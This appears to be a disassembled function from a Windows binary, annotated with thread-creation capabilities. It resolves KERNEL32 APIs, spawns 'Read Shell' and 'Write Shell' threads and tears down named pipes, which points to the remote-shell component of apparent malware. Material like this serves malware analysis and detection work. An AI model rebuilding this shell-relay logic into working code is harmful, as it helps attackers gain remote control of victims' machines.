Function at 0x18003c380
Capabilities:
Create thread
Terminate thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x70
mov rsi, rcx
lea rcx, str.KERNEL32.DLL
mov r13b, r9b
mov r15, r8
mov r14, rdx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, [0x180075e80]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
xor edi, edi
mov r12, rax
cmp rax, rdi
jne 0x18003c3d6
xor eax, eax
jmp 0x18003c632
lea rcx, str.KERNEL32.DLL
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, [0x180075e70]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbp, rax
cmp rax, rdi
je 0x18003c3cf
mov rcx, rsi
call fcn.18000c468
mov rbx, rax
cmp rax, rdi
je 0x18003c3cf
mov r8b, r13b
mov rdx, r14
mov rcx, rax
call fcn.18000c4f0
cmp eax, edi
jne 0x18003c44e
lea rdx, str._r_nFail_To_Get_The_Shell_r_n_r_n
mov rcx, rsi
call fcn.180012d7c
mov rcx, qword [rbx + 0x18]
mov edx, 2
call qword [0x18009adb0]
mov rcx, qword [rbx + 0x18]
call fcn.18000b584
mov rcx, rsi
call fcn.18000c658
jmp 0x18003c3cf
lea rax, [rsp + 0x34]
mov dword [rsp + 0x38], reloc.ODBC32.dll_SQLAllocHandle
mov qword [rsp + 0x40], rdi
mov dword [rsp + 0x48], edi
mov qword [rsp + 0x28], rax
lea r8, [0x18000c328]
lea rcx, [rsp + 0x38]
mov r9, rbx
xor edx, edx
mov dword [rsp + 0x20], edi
mov qword [rbx + 0x18], rsi
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbx + 0x20], rax
cmp rax, rdi
jne 0x18003c49a
lea rdx, str._r_nFail_To_Create_Read_Shell_r_n_r_n
jmp 0x18003c424
lea rax, [rsp + 0x34]
lea r8, [0x18002a110]
lea rcx, [rsp + 0x38]
mov qword [rsp + 0x28], rax
mov r9, rbx
xor edx, edx
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbx + 0x28], rax
cmp rax, rdi
jne 0x18003c500
lea rdx, str._r_nFail_To_Create_Write_Shell_r_n_r_n
mov rcx, rsi
call fcn.180012d7c
mov rcx, qword [rbx + 0x18]
mov edx, 2
call qword [0x18009adb0]
mov rcx, qword [rbx + 0x18]
call fcn.18000b584
mov rcx, qword [rbx + 0x28]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateThread]
jmp 0x18003c628
mov dword [rsp + 0x30], edi
mov eax, dword [rsp + 0x30]
mov r13d, 1
xchg dword [rbx + 0x3c], eax
mov rax, qword [rbx + 0x20]
mov dword [rbx + 0x38], r13d
mov qword [rsp + 0x50], rax
mov rax, qword [rbx + 0x28]
lea rdx, [rsp + 0x50]
mov qword [rsp + 0x58], rax
mov rax, qword [rbx + 0x10]
lea ecx, [r13 + 3]
mov qword [rsp + 0x60], rax
mov rax, qword [rbx + 0x30]
or r9d, 0xffffffff
xor r8d, r8d
mov qword [rsp + 0x68], rax
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
cmp eax, edi
je 0x18003c582
sub eax, r13d
je 0x18003c56a
sub eax, r13d
je 0x18003c570
cmp eax, r13d
jne 0x18003c594
mov rcx, qword [rbx + 0x28]
xor edx, edx
call rbp
mov rcx, qword [rbx + 0x20]
jmp 0x18003c586
mov rcx, qword [rbx + 0x28]
xor edx, edx
call rbp
mov rcx, qword [rbx + 0x20]
xor edx, edx
call rbp
jmp 0x18003c594
mov rcx, qword [rbx + 0x28]
xor edx, edx
call rbp
mov rcx, qword [rbx + 0x10]
mov edx, r13d
call r12
mov eax, dword [rbx + 0x3c]
xchg dword [rsp + 0x30], eax
mov ecx, dword [rsp + 0x30]
cmp ecx, edi
jne 0x18003c5be
mov rcx, qword [rbx + 0x18]
mov edx, 2
call qword [0x18009adb0]
mov rcx, qword [rbx + 0x18]
call fcn.18000b584
mov byte [r15], r13b
cmp qword [rbx], rdi
je 0x18003c5da
mov rcx, qword [rbx]
call qword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
cmp qword [rbx], rdi
je 0x18003c5da
mov rcx, qword [rbx]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbx + 8]
cmp rcx, rdi
je 0x18003c5e9
call qword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
mov rcx, qword [rbx + 8]
cmp rcx, rdi
je 0x18003c5f8
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbx + 0x20]
cmp rcx, rdi
je 0x18003c607
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbx + 0x28]
cmp rcx, rdi
je 0x18003c616
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbx + 0x10]
cmp rcx, rdi
je 0x18003c625
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, r13d
mov rcx, rsi
call fcn.18000c658
mov eax, edi
lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret